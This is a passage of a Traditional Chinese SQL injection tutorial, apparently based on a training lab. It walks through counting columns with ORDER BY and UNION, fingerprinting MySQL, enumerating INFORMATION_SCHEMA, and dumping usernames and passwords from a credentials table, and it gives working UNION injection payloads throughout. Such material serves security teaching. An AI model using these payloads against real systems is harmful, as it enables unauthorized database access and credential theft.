後有一個空格。接著測試第二個欄位:
' order by 2-- -
接著測試欄位 3 與 4,都成功返回結果。
這表示該資料表正好有 4 個欄位。
使用 UNION
另一種方式是嘗試注入帶有不同欄位數的 UNION
查詢,直到正確為止。此方法會持續出現錯誤,直到欄位數一致時才成功。
cn' UNION select 1,2,3-- -
出現錯誤:SELECT 敘述的欄位數不一致。
接著嘗試四欄位:
cn' UNION select 1,2,3,4-- -
這次成功返回結果,代表確定欄位數為 4。我們可以使用這兩種方式任一種來偵測欄位數。
注入位置的判斷
雖然查詢可能回傳多個欄位,網頁實際顯示的欄位可能只有部分。若我們將資料注入至未顯示的欄位,則無法看到結果。
我們必須找出哪些欄位會顯示在頁面上,以便決定注入位置。在前例中,雖然注入的是 1,2,3,4
,但實際頁面只顯示欄位 2、3、4。
這表示欄位 2、3 與 4 會輸出至頁面,我們不應將重要輸出放在第 1 欄。
這也說明了使用數字當垃圾資料的好處:我們能夠輕鬆追蹤每個欄位的輸出位置。
測試可見欄位注入是否成功
我們將 @@version
放在第二欄來確認是否可以取得實際資料:
cn' UNION select 1,@@version,3,4-- -
從圖片中可以看到資料庫版本成功顯示在畫面上,這代表我們已經學會如何編寫 Union SQL Injection 的 Payload,並成功將查詢結果回顯到頁面。
資料庫列舉(Database Enumeration)
在前面的章節中,我們學習了如何使用 MySQL 撰寫各種 SQL 查詢語句並應用於 SQL Injection。本章將實際運用這些技術,從資料庫中取得資料。
MySQL 指紋識別(Fingerprinting)
在列舉資料庫之前,我們通常需要先辨識目前使用的是哪種類型的資料庫(DBMS),因為不同的 DBMS 有不同的查詢語法。
舉例來說,若我們在 HTTP 回應中看到 Web Server 為 Apache 或 Nginx,代表這很可能是 Linux 上的 MySQL。若是 IIS,則有可能是 MSSQL。
為了辨識 DBMS 類型,我們可以使用下列 MySQL 指紋測試語法:
語法 | 使用時機 | 預期輸出 | 其他 DBMS 錯誤輸出 |
---|---|---|---|
SELECT @@version |
當能完整輸出查詢結果時 | MySQL 版本,例如:10.3.22-MariaDB-1ubuntu1 |
在 MSSQL 中會輸出 MSSQL 版本,其他 DBMS 則出錯 |
SELECT POW(1,1) |
只有數值輸出時使用 | 1 |
其他 DBMS 出錯 |
SELECT SLEEP(5) |
盲注/無輸出時使用 | 延遲 5 秒,回傳 0 |
其他 DBMS 不會延遲 |
正如我們在上一節的例子中看到的,當我們嘗試 @@version
:
INFORMATION_SCHEMA 資料庫
若要透過 UNION SELECT
查詢從資料表擷取資料,我們需要下列資訊:
- 所有資料庫清單
- 各資料庫中的資料表清單
- 各資料表中的欄位清單
上述資訊可以從 INFORMATION_SCHEMA
這個特殊的資料庫中取得。它包含伺服器上的資料庫與資料表的中繼資料。
舉例來說,若要查詢 my_database 資料庫中 users 表的內容,可以使用:
SELECT * FROM my_database.users;
SCHEMATA(資料庫名稱列舉)
首先,我們查詢 INFORMATION_SCHEMA.SCHEMATA
表中的 SCHEMA_NAME
欄位來獲得所有資料庫名稱:
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+-----------------------+
| SCHEMA_NAME |
+-----------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+-----------------------+
除了預設的三個資料庫外,我們看到還有 ilfreight
和 dev
這兩個資料庫。
使用 UNION 注入查詢資料庫名稱
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
查詢當前使用的資料庫
cn' UNION select 1,database(),2,3-- -
TABLES(查詢資料表名稱)
接下來我們針對 dev
資料庫查詢其中有哪些資料表。可透過 INFORMATION_SCHEMA.TABLES
資料表中的 TABLE_NAME
和 TABLE_SCHEMA
欄位查詢。
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
where table_schema='dev'
可避免列出所有資料庫的資料表。COLUMNS(查詢欄位名稱)
我們發現 dev
資料庫中有 credentials
、posts
、framework
和 pages
等表。
假設我們要查詢 credentials
資料表中的欄位,可透過以下語法:
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
我們看到欄位為 username
與 password
。
資料擷取(Dump Data)
現在我們已經有足夠資訊來撰寫 UNION
查詢,從 dev
資料庫的 credentials
表中擷取 username
與 password
欄位。
cn' UNION select 1,username,password,4 from dev.credentials-- -
dev.credentials
來指定目標資料表,因為目前查詢的是從 ilfreight 資料庫執行。最終,我們成功擷取 credentials
表中的所有資料,其中包含密碼雜湊值與 API 金鑰等敏感資訊。